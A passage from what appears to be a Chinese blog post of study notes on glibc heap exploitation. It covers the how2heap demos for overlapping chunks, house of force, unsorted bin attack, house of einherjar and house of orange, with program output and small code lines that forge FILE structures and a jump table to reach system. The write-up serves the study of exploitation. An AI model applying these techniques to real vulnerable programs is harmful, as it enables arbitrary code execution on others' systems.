chunk p4 from 0x55c53555fff0 to 0x55c5355603d8
chunk p5 from 0x55c5355603e0 to 0x55c5355607c8

Let's free the chunk p4.
In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4

Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2
with the size of chunk_p2 + size of chunk_p3

Now during the free() operation on p2, the allocator is fooled to think that
the nextchunk is p4 ( since p2 + size_p2 now point to p4 )

This operation will basically create a big free chunk that wrongly includes p3

Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk

Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and
we can overwrite data in p3 by writing on chunk p6

chunk p6 from 0x55c53555f810 to 0x55c53555ffe8
chunk p3 from 0x55c53555fc00 to 0x55c53555ffe8

Data inside chunk p3:

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Let's write something inside p6

Data inside chunk p3:

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

首先申请5个1000大小的chunk,p1到p5

之后分别用A,B,C,D,E,F填充

free p4

之后改写p2的size为p2+p3的真实大小+0x10+prev_in_use(1)

其中0x10是两个堆的size的大小

再 free掉p2,它就以为p2的下一个是p4了

我们再malloc一个2000大小的——p6,那么p6跟p3就重叠了,可以互相修改

house_of_force

这个是覆盖top chunk从而使malloc返回的值能够控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Welcome to the House of Force

The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

In the end, we will use this to overwrite a variable at 0x5636c2d20060.
Its current value is: This is a string that we want to overwrite.

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x5636c35b2420.

Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is 264.

Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

The top chunk starts at 0x5636c35b2528

Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ae1
New size of top chunk 0xffffffffffffffff

The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region.

The value we want to write to at 0x5636c2d20060, and the top chunk is at 0x5636c35b2528, so accounting for the header size,
we will malloc 0xffffffffff76db28 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x5636c35b2530

Now, the next chunk we overwrite will point at our target buffer.
malloc(100) => 0x5636c2d20060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!

先申请了256个字节的chunk,那么就有这个chunk和top chunk了

之后将top chunk的size改为0xffffffffffffffff,这样我们malloc很大的值也不用mmap了

之后申请一个0xffffffffff76db28byte的,这是一个负数,所以top chunk的大小会减去这么一个值,但是第一次申请的时候malloc还是返回原理top chunk的位置

那么当我们再次申请的时候,top chunk就返回了我们想要的地址了

那个负数是怎么得来的呢?

因为我们malloc之后,top指针会加上我们的size,所以我们只需要malloc我们想要的地址跟top指针的差别再减0x10的头部就行了

unsorted_bin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffd0cdf2c90: 0

Now, we allocate first normal chunk on the heap at: 0x556217e0e420
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7fa01c57cb58
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffd0cdf2c80

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffd0cdf2c90: 0x7fa01c57cb58

作者说通常unsorted_bin_attack是为进一步利用做准备的,比如libc中的全局变量global_max_fast,之后再执行fastbin attack

给出的例子的话是覆盖栈上的局部变量

首先申请两个chunk,为的是避免free之后合并到top chunk了

跟着我们free掉第一个,那么他就会放到unsorted bin中,而此时我们的chunk有了fd和bk指针

假如我们可以有漏洞去覆盖bk,例子是覆盖栈变量指针减0x10的地址,那么结构如下

unsort bin ——> p ——> stack

那么我们再malloc一次,那么stack的fd就会被修改为unsort bin的头,这样就能让p脱链

house_of_einherjar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Welcome to House of Einherjar!
Tested in Ubuntu 16.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

We allocate 0x38 bytes for 'a'
a: 0x558424b51420
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38

We create a fake chunk wherever we want, in this case we'll create the chunk on the stack
However, you can also create the chunk in the heap or the bss, as long as you know its address
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
(although we could do the unsafe unlink technique here in some scenarios)
Our fake chunk at 0x7fffc6178c70 looks like:
prev_size (not used): 0x100
size: 0x100
fwd: 0x7fffc6178c70
bck: 0x7fffc6178c70
fwd_nextsize: 0x7fffc6178c70
bck_nextsize: 0x7fffc6178c70

We allocate 0xf8 bytes for 'b'.
b: 0x558424b51460

b.size: 0x101
b.size is: (0x100) | prev_inuse = 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk

We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0x558424b51450 - 0x7fffc6178c70 = 0xffffd5845e9d87e0

Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
Our fake chunk size is now 0xffffd5845e9f9391 (b.size + fake_prev_size)

Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x200) is at 0x7fffc6178c80

这个可以用于有off by one的程序,从而让我们有机会修改prev_inuse

首先申请0x38个byte——chunk a,这个是为off by one做准备的,之后这样我们才有机会溢出下一个chunk的头部

之后在栈上伪造了一个fake chunk(当然实际的时候我们在heap或者bss上伪造也行,只要知道地址),fd和bk都指向自己

之后申请0xf8大小的chunk——chunk b,

我们通过a一个空字节溢出b,那么b的prev_inuse bit就置0,以为前面的chunk是空闲的了

之后我们再修改b的prev size,那么最终就会控制合并后的地址了

因为合并的时候,是先找前一个chunk在哪,我们让它计算的时候找到栈上去了

所以最后再malloc,就会返回我们想要的栈地址了

house_of_orange

1
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer

这个技术是利用溢出,去破坏_IO_list_all指针,需要泄露heap跟libc

top chunk一般最开始是0x21000大小的

首先申请0x400-16,那么top chunk就从最开始的0x21000,剩余0x20c00,当然有PREV_INUSE标志位就是0x20c01

1
p1 = malloc(0x400-16);

之后我们将top chunk的大小改为0xc01

接下来再malloc一个比这个size大的chunk,这时候原来的top chunk就会被free到unsort bin中

这个技术是故意让堆检测到异常,之后就会调用_IO_flush_all_lockp,最后遍历_IO_list_all,找到_IO_OVERFLOW函数去掉用,这个函数是相当于虚表里面的,所以我们可以伪造一个 _IO_list_all,让他去调用system函数

伪造_IO_list_all,我们需要改写它的指针,它可以通过fd或者bk来计算出来

我们需要覆盖old top chunk满足chunk->bk->fd指向 _IO_list_all,所以我们覆盖old top chunk的bk为io_list_all - 0x10

1
top[3] = io_list_all - 0x10;

之后将old top chunk的前8个字节覆盖为”/bin/sh\x00”

_IO_flush_all_lockp会遍历_IO_list_all中的文件指针,因为我们只能用main_arena的unsorted -bin- list覆盖这个地址,所以这个想法是为了控制在相应的fd - ptr上的内存。下一个文件指针的地址位于base_address 0x68。这相当于smallbin4

再将old top chunk的size设置为0x61,将其强制转换为_IO_FILE指针

  1. Set mode to 0: fp->_mode <= 0
  2. Set write_base to 2 and write_ptr to
  3. fp->_IO_write_ptr > fp->_IO_write_base
1
2
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
  1. Finally set the jump table to controlled memory and place system there.
    The jump table pointer is right after the _IO_FILE struct:
    base_address+sizeof(_IO_FILE) = jump_table
1
2
3
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner; //_IO_OVERFLOW 的地址
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 将jump table覆盖

最后通过malloc触发

打赏专区